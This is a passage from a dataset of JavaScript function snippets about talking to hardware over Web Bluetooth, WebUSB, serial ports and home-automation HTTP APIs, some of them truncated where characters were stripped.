};\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; idebug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"function onData(d){\\n var frame,\\n generatedData,\\n response;\\n\\n frame = TBus.parse(d);\\n\\n if(!frame.valid){\\n console.log(\\\"Invalid frame received.\\\");\\n return;\\n }\\n\\n if(!Devices[frame.receiver[0]]){\\n console.log(\\\"Device is not supported.\\\");\\n }\\n\\n generatedData = Devices[frame.receiver[0]].randomData();\\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\\n\\n setTimeout(function(){\\n /*\\n var one,\\n two;\\n\\n one = new Buffer(response.slice(0,5));\\n two = new Buffer(response.slice(5,response.length));\\n serialPort.write(one);\\n setTimeout(function(){\\n serialPort.write(two);\\n },110);\\n */\\n serialPort.write(response);\\n },0);\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"function ble_transmit_cmd(cmd) {\\n if(cmd == 0){\\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\\n uiProgressBar(g_rawcode_length/2, i+1);\\n\\n var tx_data = [];\\n\\n /*\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[j] = 0xff & (i >> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n }\\n}\",\n \"function sendSerialData() {\\n\\t\\tif (isLoaded()) {\\n\\t\\t\\t// Beggining and ending patterns that signify port has responded\\n\\t\\t\\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialBegin(chr(2));\\n\\t\\t\\tqz.setSerialEnd(chr(13));\\n\\t\\t\\t// Baud rate, data bits, stop bits, parity, flow control\\n\\t\\t\\t// \\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\" = Default for Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialProperties(\\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\");\\n\\t\\t\\t// Send raw commands to the specified port.\\n\\t\\t\\t// W = weight on Mettler Toledo Scale\\n\\t\\t\\tqz.send(document.getElementById(\\\"port_name\\\").value, \\\"\\\\nW\\\\n\\\");\\n\\t\\t\\t\\n\\t\\t\\t// Automatically called when \\\"qz.send()\\\" is finished waiting for \\n\\t\\t\\t// a valid message starting with the value supplied for setSerialBegin()\\n\\t\\t\\t// and ending with with the value supplied for setSerialEnd()\\n\\t\\t\\twindow['qzSerialReturned'] = function(portName, data) {\\n\\t\\t\\t\\tif (qz.getException()) {\\n\\t\\t\\t\\t\\talert(\\\"Could not send data:\\\\n\\\\t\\\" + qz.getException().getLocalizedMessage());\\n\\t\\t\\t\\t\\tqz.clearException(); \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tif (data == null || data == \\\"\\\") { // Test for blank data\\n\\t\\t\\t\\t\\t\\talert(\\\"No data was returned.\\\")\\n\\t\\t\\t\\t\\t} else if (data.indexOf(\\\"?\\\") !=-1) { // Test for bad data\\n\\t\\t\\t\\t\\t\\talert(\\\"Device not ready. Please wait.\\\")\\n\\t\\t\\t\\t\\t} else { // Display good data\\n\\t\\t\\t\\t\\t\\talert(\\\"Port [\\\" + portName + \\\"] returned data:\\\\n\\\\t\\\" + data);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t};\\n\\t\\t}\\n\\t}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1 \\\" + \\n \\\" \\\" + \\n \\\" \\\" + \\n \\\" \\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"function sendCommand(device_id, command) {\\n\\tnew Ajax.Request(\\\"/controls/sendCommand\\\", { \\n\\t\\tmethod: \\\"get\\\", \\n\\t\\tparameters: { \\n\\t\\t\\t\\\"device_id\\\": device_id,\\n\\t\\t\\t\\\"command\\\": command,\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function send (token, deviceId, payload, cb) {\\n\\trequest.post({\\n\\t\\turl,\\n\\t\\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\\n\\t\\theaders: {\\n\\t\\t\\t'Content-Type': 'application/octet-stream',\\n\\t\\t\\t'Authorization': 'Token ' + token,\\n\\t\\t},\\n\\t}, (err, httpResponse, body) => {\\n\\t\\tif (err) return cb(err)\\n\\n\\t\\tif (httpResponse.statusCode !== 200) {\\n\\t\\t\\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\\n\\t\\t}\\n\\n\\t\\tcb()\\n\\t})\\n}\",\n \"function setupUSBEventHandlers(result) {\\n\\tconsole.log('App was granted the \\\"usbDevices\\\" permission.');\\n\\tchrome.usb.findDevices(device_info, function(devices) {\\n\\t\\tconsole.log('Found ' + devices.length + ' devices.');\\n\\t\\tif (!devices || !devices.length) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tmp_device = devices[0];\\n\\t\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n\\n\\t\\tchangeState(state.ready);\\n\\t});\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/viewer/default/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"update() {\\n\\t\\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\\n\\t\\t\\tif(status.length != 128) {\\n\\t\\t\\t\\treturn this.error(`Status size error. Received: ${status.length}`);\\n\\t\\t\\t}\\n\\t\\t\\tthis.parseStatus(status);\\n\\t\\t});\\n\\t}\",\n \"function sendToSerial(data){\\n var objFromBuffer = JSON.parse(data);\\n console.log(\\\"sending to serial: \\\", objFromBuffer.data);\\n if(objFromBuffer.data !== undefined){\\n myPort.write(objFromBuffer.data); \\n }\\n}\",\n \"function respond(){\\n\\t\\t\\t\\t\\t// flush HTTP response\\n\\t\\t\\t\\t\\tvar bin = responsePacket.serialize();\\n\\t\\t\\t\\t\\t//sys.puts( utils.hex(bin) );\\n\\t\\t\\t\\t\\t//sys.puts( sys.inspect(responsePacket) );\\n\\t\\t\\t\\t\\tres.writeHead( 200, {\\n\\t\\t\\t\\t\\t\\t'Content-Type': 'application/x-amf',\\n\\t\\t\\t\\t\\t\\t'Content-Length': bin.length \\n\\t\\t\\t\\t\\t} );\\n\\t\\t\\t\\t\\tres.write( bin, \\\"binary\\\" );\\n\\t\\t\\t\\t\\tres.end();\\n\\t\\t\\t\\t}\",\n \"function WebUSBSerialCommunicator (params) {\\n var self = this;\\n\\n self.debugMode = false;\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.debug === \\\"boolean\\\") {\\n self.debugMode = params.debug;\\n }\\n\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.device === \\\"object\\\") {\\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\\n this.serial = new WebFTDIUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\\n this.serial = new WebNativeUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else {\\n throw new Error(\\\"Device's vendor ID and product ID do not match a TappyUSB\\\");\\n }\\n } else if (typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.serial === \\\"object\\\"){\\n // this is just for testing and should not be used\\n this.serial = params.serial;\\n } else {\\n throw new Error(\\\"Must specify a TappyUSB device\\\");\\n }\\n\\n this.isConnecting = false;\\n this.hasAttached = false;\\n this.disconnectImmediately = false;\\n this.disconnectCb = function() {};\\n\\n this.dataReceivedCallback = function(bytes) {\\n\\n };\\n this.errorCallback = function(data) {\\n\\n };\\n this.readCallback = function(buff) {\\n self.dataReceivedCallback(new Uint8Array(buff));\\n };\\n }\",\n \"writeLoginSetting(data) {\\n var arrData = [17,32,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginSetting_1',data_send);\\n for (var i =0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function sendToSerial(data) {\\n console.log(\\\"sending to serial: \\\" + data);\\n port.write(data);\\n}\",\n \"function HandleResponse(avrNum, responseID, msg)\\n{\\n switch (responseID) {\\n case 'a': // a = get serial number\\n var avr;\\n avrs[avrNum].avrSN = msg; // save s/n in device object\\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\\n var n = msg.substr(1,1); // motor number\\n var a = msg.split(' ');\\n for (var i=0; i 0) continue;\\n } else {\\n // allow negative motor speed when at top limit\\n if (motorSpd[mot] < 0) continue;\\n }\\n avrs[0].SendCmd(\\\"c.m\\\" + mot + \\\" halt\\\\n\\\");\\n var which = isBottom ? \\\"lower\\\" : \\\"upper\\\";\\n Log(\\\"M\\\" + mot + \\\" halted! (hit \\\" + which + \\\" limit switch)\\\");\\n }\\n }\\n }\\n } break;\\n\\n case 'z': // z = disable watchdog timer\\n // forget about the unknown AVR\\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\\n avrs[avrNum] = null;\\n break;\\n\\n default:\\n Log('AVR'+avrNum, 'Unknown response:', msg);\\n break;\\n }\\n return avrNum;\\n}\",\n \"async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\\n if (blxCmdBusy === true) {\\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\\n return\\n }\\n\\n if (full_connected_flag !== true) {\\n if (NUS_device === undefined) {\\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\\n return\\n } else {\\n await blxConnectNus(0, 1) // Reconnect with SCAN\\n if (blxErrMsg) return\\n }\\n }\\n\\n blxCmdBusy = true\\n blxCmdLast = cmd\\n blxCmdBusy_t0 = Date.now()\\n await bleSendData(cmd)\\n await wait_blx(timeout_ms)\\n blxCmdBusy = false\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"_sendData() {\\n\\n }\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n serialPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n }\",\n \"function raspiWrite(component, value){\\t\\n\\tconst data = {\\n\\t\\tValue: value\\n\\t};\\n\\n\\tconst option = {\\n\\t\\tmethod: 'POST',\\n\\t\\tbody: JSON.stringify(data), \\n\\t\\theaders:{\\n\\t\\t\\t'Content-Type': 'application/json'\\n\\t\\t}\\n\\t}\\n\\tfetch('/raspi/' + component, option)\\n\\t.then(console.log(\\\"LED actualizado\\\"));\\n}\",\n \"function sendRequest(sensorType, isSensorOn, dataByte) {\\n var newRequest = new XMLHttpRequest();\\n newRequest.open(\\\"POST\\\", `http://${window.location.host}/pi_data`, true);\\n newRequest.setRequestHeader(\\\"Content-Type\\\", \\\"application/json\\\");\\n newRequest.send(\\n JSON.stringify({\\n sensor: sensorType,\\n isSensorOn: isSensorOn,\\n mode: dataByte,\\n })\\n );\\n}\",\n \"function trans_appbin(idx) {\\n let btdev = btdevs[idx];\\n let seq = btdev.wrtseq;\\n\\n showProgress(idx);\\n\\n if (seq >= mrbbin.byteLength / 